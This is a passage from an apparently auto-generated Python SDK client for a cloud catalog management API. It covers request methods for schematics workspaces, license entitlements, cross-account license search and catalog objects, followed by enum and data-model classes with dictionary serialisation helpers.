:param str version_loc_id: A dotted value of `catalogID`.`versionID`.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result
"""
if version_loc_id is None:
raise ValueError('version_loc_id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_override_values')
headers.update(sdk_headers)
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['version_loc_id']
path_param_values = self.encode_path_vars(version_loc_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/versions/{version_loc_id}/validation/overridevalues'.format(**path_param_dict)
request = self.prepare_request(method='GET',
url=url,
headers=headers)
response = self.send(request)
return response
def get_schematics_workspaces(self,
version_loc_id: str,
x_auth_refresh_token: str,
**kwargs
) -> DetailedResponse:
"""
Returns the schematics workspaces for the specified offering version.
Returns the schematics workspaces for the specified offering version.
:param str version_loc_id: A dotted value of `catalogID`.`versionID`.
:param str x_auth_refresh_token: IAM Refresh token.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `SchematicsWorkspaceSearchResult` object
"""
if version_loc_id is None:
raise ValueError('version_loc_id must be provided')
if x_auth_refresh_token is None:
raise ValueError('x_auth_refresh_token must be provided')
headers = {
'X-Auth-Refresh-Token': x_auth_refresh_token
}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_schematics_workspaces')
headers.update(sdk_headers)
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['version_loc_id']
path_param_values = self.encode_path_vars(version_loc_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/versions/{version_loc_id}/workspaces'.format(**path_param_dict)
request = self.prepare_request(method='GET',
url=url,
headers=headers)
response = self.send(request)
return response
def can_deploy_schematics(self,
version_loc_id: str,
cluster_id: str,
region: str,
*,
namespace: str = None,
resource_group_id: str = None,
**kwargs
) -> DetailedResponse:
"""
Returns the schematics permissions for the specified user.
Returns the schematics permissions for the specified user.
:param str version_loc_id: A dotted value of `catalogID`.`versionID`.
:param str cluster_id: ID of the cluster.
:param str region: Cluster region.
:param str namespace: (optional) Required if the version's pre-install
scope is `namespace`.
:param str resource_group_id: (optional) Resource group identification.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `DeployRequirementsCheck` object
"""
if version_loc_id is None:
raise ValueError('version_loc_id must be provided')
if cluster_id is None:
raise ValueError('cluster_id must be provided')
if region is None:
raise ValueError('region must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='can_deploy_schematics')
headers.update(sdk_headers)
params = {
'cluster_id': cluster_id,
'region': region,
'namespace': namespace,
'resource_group_id': resource_group_id
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['version_loc_id']
path_param_values = self.encode_path_vars(version_loc_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/versions/{version_loc_id}/candeploy'.format(**path_param_dict)
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
def get_resource_groups(self,
**kwargs
) -> DetailedResponse:
"""
Returns all active resource groups in the current account, where the current user has permission to create schematics workspaces.
Returns all active resource groups in the current account, where the current user
has permission to create schematics workspaces.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `ResourceGroups` object
"""
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_resource_groups')
headers.update(sdk_headers)
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
url = '/deploy/schematics/resourcegroups'
request = self.prepare_request(method='GET',
url=url,
headers=headers)
response = self.send(request)
return response
#########################
# Licensing
#########################
def get_license_providers(self,
**kwargs
) -> DetailedResponse:
"""
Get license providers.
Get license providers.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `LicenseProviders` object
"""
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_license_providers')
headers.update(sdk_headers)
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
url = '/license/license_providers'
request = self.prepare_request(method='GET',
url=url,
headers=headers)
response = self.send(request)
return response
def list_license_entitlements(self,
*,
account_id: str = None,
license_product_id: str = None,
version_id: str = None,
state: str = None,
**kwargs
) -> DetailedResponse:
"""
Get license entitlements.
Get license entitlements bound to an account.
:param str account_id: (optional) The account ID to query for the
entitlement. Default is the account from the user's token.
:param str license_product_id: (optional) The license product ID. If from
PPA (Passport Advantage) this is the product Part number(s) which can be
one or more IDs, eg. D1YGZLL,5737L09.
:param str version_id: (optional) The GC ID of the specific offering
version.
:param str state: (optional) The state of the license entitlement. eg.
usually 'active', or if it's been deleted will show as 'removed'.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `LicenseEntitlements` object
"""
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='list_license_entitlements')
headers.update(sdk_headers)
params = {
'account_id': account_id,
'license_product_id': license_product_id,
'version_id': version_id,
'state': state
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
url = '/license/entitlements'
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
def create_license_entitlement(self,
*,
name: str = None,
effective_from: str = None,
effective_until: str = None,
version_id: str = None,
license_id: str = None,
license_owner_id: str = None,
license_provider_id: str = None,
license_product_id: str = None,
account_id: str = None,
**kwargs
) -> DetailedResponse:
"""
Create a license entitlement.
Create an entitlement for a Cloud account. This is used to give an account an
entitlement to a license.
:param str name: (optional) Entitlement name.
:param str effective_from: (optional) Entitlement is good from this
starting date. eg. '2019-07-17T21:21:47.6794935Z'.
:param str effective_until: (optional) Entitlement is good until this
ending date. eg. '2019-07-17T21:21:47.6794935Z'.
:param str version_id: (optional) Global Catalog ID of the version.
:param str license_id: (optional) Specific license entitlement ID from the
license provider, eg. D1W3R4.
:param str license_owner_id: (optional) IBM ID of the owner of this license
entitlement.
:param str license_provider_id: (optional) License provider ID.
:param str license_product_id: (optional) License product ID.
:param str account_id: (optional) if not specified the token's account will
be used.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `LicenseEntitlement` object
"""
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='create_license_entitlement')
headers.update(sdk_headers)
params = {
'account_id': account_id
}
data = {
'name': name,
'effective_from': effective_from,
'effective_until': effective_until,
'version_id': version_id,
'license_id': license_id,
'license_owner_id': license_owner_id,
'license_provider_id': license_provider_id,
'license_product_id': license_product_id
}
data = {k: v for (k, v) in data.items() if v is not None}
data = json.dumps(data)
headers['content-type'] = 'application/json'
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
url = '/license/entitlements'
request = self.prepare_request(method='POST',
url=url,
headers=headers,
params=params,
data=data)
response = self.send(request)
return response
def get_license_entitlements(self,
license_product_id: str,
*,
account_id: str = None,
version_id: str = None,
**kwargs
) -> DetailedResponse:
"""
Get entitlements for a specific license product ID.
Get an entitlements for a specific license product ID bound to an account.
:param str license_product_id: The license product ID. If from PPA
(Passport Advantage) this is a specific product Part number, eg. D1YGZLL.
:param str account_id: (optional) The account ID to query for the
entitlement. Default is the account from the user's token.
:param str version_id: (optional) The GC ID of the specific offering
version.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `LicenseEntitlements` object
"""
if license_product_id is None:
raise ValueError('license_product_id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_license_entitlements')
headers.update(sdk_headers)
params = {
'account_id': account_id,
'version_id': version_id
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['license_product_id']
path_param_values = self.encode_path_vars(license_product_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/license/entitlements/productID/{license_product_id}'.format(**path_param_dict)
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
def delete_license_entitlement(self,
entitlement_id: str,
*,
account_id: str = None,
**kwargs
) -> DetailedResponse:
"""
Delete license entitlement.
Delete a license entitlement that is bound to an account. Note that BSS will mark
the entitlement field "state": "removed".
:param str entitlement_id: The specific entitlement ID (can be obtained
from one of the license entitlement queries).
:param str account_id: (optional) The account ID to query for the
entitlement. Default is the account from the user's token.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if entitlement_id is None:
raise ValueError('entitlement_id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='delete_license_entitlement')
headers.update(sdk_headers)
params = {
'account_id': account_id
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
path_param_keys = ['entitlement_id']
path_param_values = self.encode_path_vars(entitlement_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/license/entitlements/{entitlement_id}'.format(**path_param_dict)
request = self.prepare_request(method='DELETE',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
def get_licenses(self,
license_provider_id: str,
*,
account_id: str = None,
name: str = None,
license_type: str = None,
license_product_id: str = None,
**kwargs
) -> DetailedResponse:
"""
Get licenses.
Retrieve available licenses from supported license subsystems. This is used to
get the list of available licenses that the user has.
:param str license_provider_id: ID of the license provider, ie. retrieved
from GET license_providers.
:param str account_id: (optional) If not specified the token's account will
be used.
:param str name: (optional) License name.
:param str license_type: (optional) Type of license, if not specified,
default is ibm-ppa.
:param str license_product_id: (optional) The license product ID. If from
PPA (Passport Advantage) this is the product Part number, eg. D1YGZLL.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `Licenses` object
"""
if license_provider_id is None:
raise ValueError('license_provider_id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_licenses')
headers.update(sdk_headers)
params = {
'license_provider_id': license_provider_id,
'account_id': account_id,
'name': name,
'license_type': license_type,
'license_product_id': license_product_id
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
url = '/license/licenses'
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
#########################
# Cross Account Search
#########################
def search_license_versions(self,
q: str,
**kwargs
) -> DetailedResponse:
"""
Search for versions.
Search across accounts for all versions usig a particular license, requires global
admin permission.
:param str q: query, for now only \"q=entitlement_key:<some-key>\" is
supported.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if q is None:
raise ValueError('q must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='search_license_versions')
headers.update(sdk_headers)
params = {
'q': q
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
url = '/search/license/versions'
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
def search_license_offerings(self,
q: str,
**kwargs
) -> DetailedResponse:
"""
Search for Offerings.
Search across accounts for all offerings using a particular license, requires
global admin permission.
:param str q: query, for now only \"q=entitlement_key:<some-key>\" is
supported.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if q is None:
raise ValueError('q must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='search_license_offerings')
headers.update(sdk_headers)
params = {
'q': q
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
url = '/search/license/offerings'
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
#########################
# objects
#########################
def search_objects(self,
query: str,
*,
limit: int = None,
offset: int = None,
collapse: bool = None,
**kwargs
) -> DetailedResponse:
"""
Search for objects across catalogs.
List the available objects from both public and private. These copies cannot be
used for updating. They are not complete and only return what is visible to the
caller.
:param str query: Lucene query string.
:param int limit: (optional) number or results to return.
:param int offset: (optional) number of results to skip before returning
values.
:param bool collapse: (optional) when true, hide private objects that
correspond to public or IBM published objects.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `ObjectSearchResult` object
"""
if query is None:
raise ValueError('query must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='search_objects')
headers.update(sdk_headers)
params = {
'query': query,
'limit': limit,
'offset': offset,
'collapse': collapse
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
url = '/objects'
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
def list_objects(self,
catalog_identifier: str,
*,
limit: int = None,
offset: int = None,
name: str = None,
sort: str = None,
**kwargs
) -> DetailedResponse:
"""
Get list of objects.
List the available objects in the specified catalog.
:param str catalog_identifier: Catalog identifier.
:param int limit: (optional) number or results to return.
:param int offset: (optional) number of results to skip before returning
values.
:param str name: (optional) only return results that contain the specified
string.
:param str sort: (optional) The field on which the output is sorted. Sorts
by default by **label** property. Available fields are **name**, **label**,
**created**, and **updated**. By adding **-** (i.e. **-label**) in front of
the query string, you can specify descending order. Default is ascending
order.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `ObjectListResult` object
"""
if catalog_identifier is None:
raise ValueError('catalog_identifier must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='list_objects')
headers.update(sdk_headers)
params = {
'limit': limit,
'offset': offset,
'name': name,
'sort': sort
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['catalog_identifier']
path_param_values = self.encode_path_vars(catalog_identifier)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/catalogs/{catalog_identifier}/objects'.format(**path_param_dict)
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
def create_object(self,
catalog_identifier: str,
*,
id: str = None,
name: str = None,
rev: str = None,
crn: str = None,
url: str = None,
parent_id: str = None,
allow_list: List[str] = None,
label_i18n: str = None,
label: str = None,
tags: List[str] = None,
created: datetime = None,
updated: datetime = None,
short_description: str = None,
short_description_i18n: str = None,
kind: str = None,
publish: 'PublishObject' = None,
state: 'State' = None,
catalog_id: str = None,
catalog_name: str = None,
data: object = None,
**kwargs
) -> DetailedResponse:
"""
Create an object.
Create an object.
:param str catalog_identifier: Catalog identifier.
:param str id: (optional) unique id.
:param str name: (optional) The programmatic name of this offering.
:param str rev: (optional) Cloudant revision.
:param str crn: (optional) The crn for this specific object.
:param str url: (optional) The url for this specific object.
:param str parent_id: (optional) The parent for this specific object.
:param List[str] allow_list: (optional) List of allowed accounts for this
specific object.
:param str label_i18n: (optional) Translated display name in the requested
language.
:param str label: (optional) Display name in the requested language.
:param List[str] tags: (optional) List of tags associated with this
catalog.
:param datetime created: (optional) The date and time this catalog was
created.
:param datetime updated: (optional) The date and time this catalog was last
updated.
:param str short_description: (optional) Short description in the requested
language.
:param str short_description_i18n: (optional) Short description
translation.
:param str kind: (optional) Kind of object.
:param PublishObject publish: (optional) Publish information.
:param State state: (optional) Offering state.
:param str catalog_id: (optional) The id of the catalog containing this
offering.
:param str catalog_name: (optional) The name of the catalog.
:param object data: (optional) Map of data values for this object.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `Object` object
"""
if catalog_identifier is None:
raise ValueError('catalog_identifier must be provided')
if created is not None:
created = datetime_to_string(created)
if updated is not None:
updated = datetime_to_string(updated)
if publish is not None:
publish = convert_model(publish)
if state is not None:
state = convert_model(state)
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='create_object')
headers.update(sdk_headers)
data = {
'id': id,
'name': name,
'_rev': rev,
'crn': crn,
'url': url,
'parent_id': parent_id,
'allow_list': allow_list,
'label_i18n': label_i18n,
'label': label,
'tags': tags,
'created': created,
'updated': updated,
'short_description': short_description,
'short_description_i18n': short_description_i18n,
'kind': kind,
'publish': publish,
'state': state,
'catalog_id': catalog_id,
'catalog_name': catalog_name,
'data': data
}
data = {k: v for (k, v) in data.items() if v is not None}
data = json.dumps(data)
headers['content-type'] = 'application/json'
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['catalog_identifier']
path_param_values = self.encode_path_vars(catalog_identifier)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/catalogs/{catalog_identifier}/objects'.format(**path_param_dict)
request = self.prepare_request(method='POST',
url=url,
headers=headers,
data=data)
response = self.send(request)
return response
def get_object(self,
catalog_identifier: str,
object_identifier: str,
**kwargs
) -> DetailedResponse:
"""
Get an object.
Get an object.
:param str catalog_identifier: Catalog identifier.
:param str object_identifier: Object identifier.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `Object` object
"""
if catalog_identifier is None:
raise ValueError('catalog_identifier must be provided')
if object_identifier is None:
raise ValueError('object_identifier must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_object')
headers.update(sdk_headers)
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['catalog_identifier', 'object_identifier']
path_param_values = self.encode_path_vars(catalog_identifier, object_identifier)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/catalogs/{catalog_identifier}/objects/{object_identifier}'.format(**path_param_dict)
request = self.prepare_request(method='GET',
url=url,
headers=headers)
response = self.send(request)
return response
def replace_object(self,
catalog_identifier: str,
object_identifier: str,
*,
id: str = None,
name: str = None,
rev: str = None,
crn: str = None,
url: str = None,
parent_id: str = None,
allow_list: List[str] = None,
label_i18n: str = None,
label: str = None,
tags: List[str] = None,
created: datetime = None,
updated: datetime = None,
short_description: str = None,
short_description_i18n: str = None,
kind: str = None,
publish: 'PublishObject' = None,
state: 'State' = None,
catalog_id: str = None,
catalog_name: str = None,
data: object = None,
**kwargs
) -> DetailedResponse:
"""
Update an object.
Update an object.
:param str catalog_identifier: Catalog identifier.
:param str object_identifier: Object identifier.
:param str id: (optional) unique id.
:param str name: (optional) The programmatic name of this offering.
:param str rev: (optional) Cloudant revision.
:param str crn: (optional) The crn for this specific object.
:param str url: (optional) The url for this specific object.
:param str parent_id: (optional) The parent for this specific object.
:param List[str] allow_list: (optional) List of allowed accounts for this
specific object.
:param str label_i18n: (optional) Translated display name in the requested
language.
:param str label: (optional) Display name in the requested language.
:param List[str] tags: (optional) List of tags associated with this
catalog.
:param datetime created: (optional) The date and time this catalog was
created.
:param datetime updated: (optional) The date and time this catalog was last
updated.
:param str short_description: (optional) Short description in the requested
language.
:param str short_description_i18n: (optional) Short description
translation.
:param str kind: (optional) Kind of object.
:param PublishObject publish: (optional) Publish information.
:param State state: (optional) Offering state.
:param str catalog_id: (optional) The id of the catalog containing this
offering.
:param str catalog_name: (optional) The name of the catalog.
:param object data: (optional) Map of data values for this object.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `Object` object
"""
if catalog_identifier is None:
raise ValueError('catalog_identifier must be provided')
if object_identifier is None:
raise ValueError('object_identifier must be provided')
if created is not None:
created = datetime_to_string(created)
if updated is not None:
updated = datetime_to_string(updated)
if publish is not None:
publish = convert_model(publish)
if state is not None:
state = convert_model(state)
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='replace_object')
headers.update(sdk_headers)
data = {
'id': id,
'name': name,
'_rev': rev,
'crn': crn,
'url': url,
'parent_id': parent_id,
'allow_list': allow_list,
'label_i18n': label_i18n,
'label': label,
'tags': tags,
'created': created,
'updated': updated,
'short_description': short_description,
'short_description_i18n': short_description_i18n,
'kind': kind,
'publish': publish,
'state': state,
'catalog_id': catalog_id,
'catalog_name': catalog_name,
'data': data
}
data = {k: v for (k, v) in data.items() if v is not None}
data = json.dumps(data)
headers['content-type'] = 'application/json'
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['catalog_identifier', 'object_identifier']
path_param_values = self.encode_path_vars(catalog_identifier, object_identifier)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/catalogs/{catalog_identifier}/objects/{object_identifier}'.format(**path_param_dict)
request = self.prepare_request(method='PUT',
url=url,
headers=headers,
data=data)
response = self.send(request)
return response
def delete_object(self,
catalog_identifier: str,
object_identifier: str,
**kwargs
) -> DetailedResponse:
"""
Delete an object.
Delete an object.
:param str catalog_identifier: Catalog identifier.
:param str object_identifier: Object identifier.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if catalog_identifier is None:
raise ValueError('catalog_identifier must be provided')
if object_identifier is None:
raise ValueError('object_identifier must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='delete_object')
headers.update(sdk_headers)
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
path_param_keys = ['catalog_identifier', 'object_identifier']
path_param_values = self.encode_path_vars(catalog_identifier, object_identifier)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/catalogs/{catalog_identifier}/objects/{object_identifier}'.format(**path_param_dict)
request = self.prepare_request(method='DELETE',
url=url,
headers=headers)
response = self.send(request)
return response
def get_object_audit(self,
catalog_identifier: str,
object_identifier: str,
*,
id: str = None,
**kwargs
) -> DetailedResponse:
"""
Get the audit log(s) for object.
Get the audit log(s) for object.
:param str catalog_identifier: Catalog identifier.
:param str object_identifier: Object identifier.
:param str id: (optional) Log identification.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if catalog_identifier is None:
raise ValueError('catalog_identifier must be provided')
if object_identifier is None:
raise ValueError('object_identifier must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_object_audit')
headers.update(sdk_headers)
params = {
'id': id
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
path_param_keys = ['catalog_identifier', 'object_identifier']
path_param_values = self.encode_path_vars(catalog_identifier, object_identifier)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/catalogs/{catalog_identifier}/offerings/{object_identifier}/audit'.format(**path_param_dict)
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
class GetConsumptionOfferingsEnums:
"""
Enums for get_consumption_offerings parameters.
"""
class Select(str, Enum):
"""
What should be selected. Default is 'all' which will return both public and
private offerings. 'public' returns only the public offerings and 'private'
returns only the private offerings.
"""
ALL = 'all'
PUBLIC = 'public'
PRIVATE = 'private'
class UpdateOfferingIbmEnums:
"""
Enums for update_offering_ibm parameters.
"""
class ApprovalType(str, Enum):
"""
Type of approval, ibm or public.
"""
ALLOW_REQUEST = 'allow_request'
IBM = 'ibm'
PUBLIC = 'public'
class Approved(str, Enum):
"""
Approve (true) or disapprove (false).
"""
TRUE = 'true'
FALSE = 'false'
##############################################################################
# Models
##############################################################################
class Account():
"""
Account information.
:attr str id: (optional) Account identification.
:attr Filters account_filters: (optional) Filters for account and catalog
filters.
"""
def __init__(self,
*,
id: str = None,
account_filters: 'Filters' = None) -> None:
"""
Initialize a Account object.
:param str id: (optional) Account identification.
:param Filters account_filters: (optional) Filters for account and catalog
filters.
"""
self.id = id
self.account_filters = account_filters
@classmethod
def from_dict(cls, _dict: Dict) -> 'Account':
"""Initialize a Account object from a json dictionary."""
args = {}
if 'id' in _dict:
args['id'] = _dict.get('id')
if 'account_filters' in _dict:
args['account_filters'] = Filters.from_dict(_dict.get('account_filters'))
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a Account object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'id') and self.id is not None:
_dict['id'] = self.id
if hasattr(self, 'account_filters') and self.account_filters is not None:
_dict['account_filters'] = self.account_filters.to_dict()
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this Account object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'Account') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'Account') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class AccountGroup():
"""
Filters for an Account Group.
:attr str id: (optional) Account group identification.
:attr Filters account_filters: (optional) Filters for account and catalog
filters.
"""
def __init__(self,
*,
id: str = None,
account_filters: 'Filters' = None) -> None:
"""
Initialize a AccountGroup object.
:param str id: (optional) Account group identification.
:param Filters account_filters: (optional) Filters for account and catalog
filters.
"""
self.id = id
self.account_filters = account_filters
@classmethod
def from_dict(cls, _dict: Dict) -> 'AccountGroup':
"""Initialize a AccountGroup object from a json dictionary."""
args = {}
if 'id' in _dict:
args['id'] = _dict.get('id')
if 'account_filters' in _dict:
args['account_filters'] = Filters.from_dict(_dict.get('account_filters'))
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a AccountGroup object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'id') and self.id is not None:
_dict['id'] = self.id
if hasattr(self, 'account_filters') and self.account_filters is not None:
_dict['account_filters'] = self.account_filters.to_dict()
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this AccountGroup object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'AccountGroup') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'AccountGroup') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class AccumulatedFilters():
"""
The accumulated filters for an account. This will return the account filters plus a
filter for each catalog the user has access to.
:attr List[Filters] account_filters: (optional) Filters for accounts (at this
time this will always be just one item array).
:attr List[AccumulatedFiltersCatalogFiltersItem] catalog_filters: (optional) The
filters for all of the accessible catalogs.
"""
def __init__(self,
*,
account_filters: List['Filters'] = None,
catalog_filters: List['AccumulatedFiltersCatalogFiltersItem'] = None) -> None:
"""
Initialize a AccumulatedFilters object.
:param List[Filters] account_filters: (optional) Filters for accounts (at
this time this will always be just one item array).
:param List[AccumulatedFiltersCatalogFiltersItem] catalog_filters:
(optional) The filters for all of the accessible catalogs.
"""
self.account_filters = account_filters
self.catalog_filters = catalog_filters
@classmethod
def from_dict(cls, _dict: Dict) -> 'AccumulatedFilters':
"""Initialize a AccumulatedFilters object from a json dictionary."""
args = {}
if 'account_filters' in _dict:
args['account_filters'] = [Filters.from_dict(x) for x in _dict.get('account_filters')]
if 'catalog_filters' in _dict:
args['catalog_filters'] = [AccumulatedFiltersCatalogFiltersItem.from_dict(x) for x in _dict.get('catalog_filters')]
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a AccumulatedFilters object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'account_filters') and self.account_filters is not None:
_dict['account_filters'] = [x.to_dict() for x in self.account_filters]
if hasattr(self, 'catalog_filters') and self.catalog_filters is not None:
_dict['catalog_filters'] = [x.to_dict() for x in self.catalog_filters]
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this AccumulatedFilters object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'AccumulatedFilters') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'AccumulatedFilters') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
